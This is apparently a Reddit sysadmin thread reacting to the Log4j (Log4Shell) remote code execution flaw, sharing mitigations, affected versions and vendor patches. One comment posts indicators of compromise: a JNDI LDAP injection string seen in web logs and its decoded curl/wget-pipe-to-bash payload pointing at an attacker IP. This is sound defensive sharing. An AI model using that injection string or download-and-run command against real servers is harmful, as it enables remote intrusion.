[Zero Day] Java applications running Log4J (RCE) Exploit

Blog/Article/Link

Article: https://www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html

TL;DR Java applications running Log4J can be used for RCE exploits, if anything input by a remote user is logged through Log4J your application/server is vulnerable to this exploit.

Quick fix: Adding the following argument to your java execution disables the exploit as far as has currently been investigated, however, your best bet is to patch and update any java applications.

-Dlog4j2.formatMsgNoLookups=true

e.g. java -Dlog4j2.formatMsgNoLookups=true -jar server.jar

Edit:

Much better article

Not al java versions are as affected as others, not all versions of log4j2 support the above fix

Edit 2:

Official CVE

Posted Dec 10, 2021, 12:03 AM UTC · edited

12727
InverseX•

Good luck to all the sysadmins out there today. Patch now.

27
AshersLabOP•

Hahahah, I’ve just spent the past 9 hrs with most of the Minecraft mod making community figuring out how the hell we fix this…. Hell on earth…. Fun day!

14
YB_USherb•

If you're using Java 8u121 it seems to be mitigated. I wonder what would be the CVSS score with this instead of 9.8 - 10.0

3
perthguppyWin, ESXi, CSCO, etc•

Apache foundation has now listed it as 10.0

3
alphager•

With those Java versions, it could mean that the server crashes in unexpected ways.

1
[deleted]•

[deleted]

1
Lost4468•

I imagine so much shit is already fucked. Several hours ago you could change your iPhone name to the PoC, and Apple's server would still ping you back.

So yeah, shit's fucked. This is huge, it's getting a lot of attention, but not as much as I would have thought.

3
elasticweedJack of All Trades•

It’s Monday now. Shit just hit the fan.

1
ThePirate417Sysadmin•

So much for my read-only Friday.

11
sarosanex-msp now bofh•

log4j is usually bundled with everything Java-powered these days. You'll find the module embedded on desktop applications as well, not just server apps.

This is going to be a nightmare for many sysadmins.

9
AshersLabOP•

Couldn’t agree more, been fixing this all day now!

1
BeanBagKingDFIR•

For those looking for IOC's, here's an attack example:

45.155.205.233 - - [<datetime>] "GET / HTTP/1.1" 200 2595 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/<base64string>}"

and the base64 decodes to something like:

(curl -s 45.155.205.233:5874/<localip>:80||wget -q -O- 45.155.205.233:5874/<localip>:80)|bash

things in <brackets> have been replaced/redacted. That 45 ip address has been seen in multiple honeypots/logs, it appears it's scanning everything on the internet. You can see it in the SOC Prime sigma rule: https://twitter.com/rimpq/status/1469319598357032964

Spray and pray at this point, I'm sure we'll start seeing other attacks that differ slightly.

9
adenosinpeluchin•

Any app on Internal network should be issue free right? I mean any app not seeing the internet

1
BeanBagKingDFIR•

Not seen from the internet, or not being able to see the internet? I.e. all inbound traffic filtered, or all outbound traffic filtered? Either way, I would say safer, but not completely safe.

In the case of all inbound traffic filtered (can't be seen from the internet), then my next question would be, does anything that is accessible to the internet send data to those servers? In other words, if you have a logging server that cannot be seen from the internet, but a web server sends logs to that server, then yes, I would worry. If it really is completely internal, then it's secondary on my list, but could still be exploited by someone inside your network or a wormable version of this that spreads on it's own.

If all outbound traffic is filtered, then I'm even less worried. Supposedly that will stop the attack. The JNDI request could reach the server and be executed, but the system would need to talk outbound to reach the poisoned LDAP server. If that isn't possible, attack stops there, nevermind the ability to download a malicious payload. That said, again, this still needs to be patched. I could be wrong about the way the attack works, or it could ride a stateful connection, or you could miss a firewall rule, etc. Also, the default state for most firewall is to allow all outbound traffic, so this won't be in place for most people.

I think the TL;DR is that anything like this is a mitigation. It -should- be issue free, it -might- be a solution, but it isn't a full fix. Start looking at what is highest risk, which is defiantly internet exposed for me. Then work your way down identification and fixes. Full patch if you can. Remove the vulnerable libraries. Cut access from the internet. If you can't do any of those, then heavily monitor.

1
kunwon1Linux Admin•

FYI - Unifi controller has released a patch, this thread contains the patch and a few possible unverified workarounds (symlinking new log4j JAR files seems to work)

https://community.ui.com/questions/UniFi-Controller-security-concern-zero-day-Log4j-exploit/007103a6-823b-4316-ae76-17942539208c

Confluence APPEARS to not be vulnerable, based on some random user tests (probably best not to trust these) but no official word from them yet that I can see

https://community.atlassian.com/t5/Data-Center-questions/Is-Confluence-Data-Center-server-vulnerable-to-CVE-2021-44228/qaq-p/1884158

7
ajscottThat wasn't supposed to happen.•

From the edit 1 article:

JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. In these versions com.sun.jndi.ldap.object.trustURLCodebase is set to false meaning JNDI cannot load a remote codebase using LDAP.

https://www-cnblogs-com.translate.goog/yyhuni/p/15088134.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US

At least I don't have to screw around with any of my workstations.

4
thecravenoneInfosec•
3
DankerOfMemes•

It is one of the most used logging packages in java

3
p_W_n•

Is it only for log4j 2.x only ?

What about people still using log4j 1.x, I know it's not supported just curious

1
bot403•

1.x has been confirmed as not vulnerable

1
DrangusAngus•

Log4j-core 2.x (pre 2.15) specifically

1
BulgarianBoy•

Would the target server or application that is behind the firewall and a vpn have to be accessible to the public internet in order to get compromised?

1
Thomas_YTwasTaken•

how to do this

-9
Thomas_YTwasTaken•

java -Dlog4j2.formatMsgNoLookups=true -jar server.jar

where must i input this code

java -Dlog4j2.formatMsgNoLookups=true -jar server.jar

-4
lvlint67•

Ask your sysadmin...

That's the CLI to run a server.jar file. Adapt it to your environment as necessary.

6
BeanBagKingDFIR•

Ask your sysadmin...

Thanks Cisco documentation /s

8
lvlint67•

It was a question about a Minecraft server (post history). Normally, that'd be off topic here... But its a soft spot of my own so there's a little extra guidance that might lead the poster to their start.bat file.

3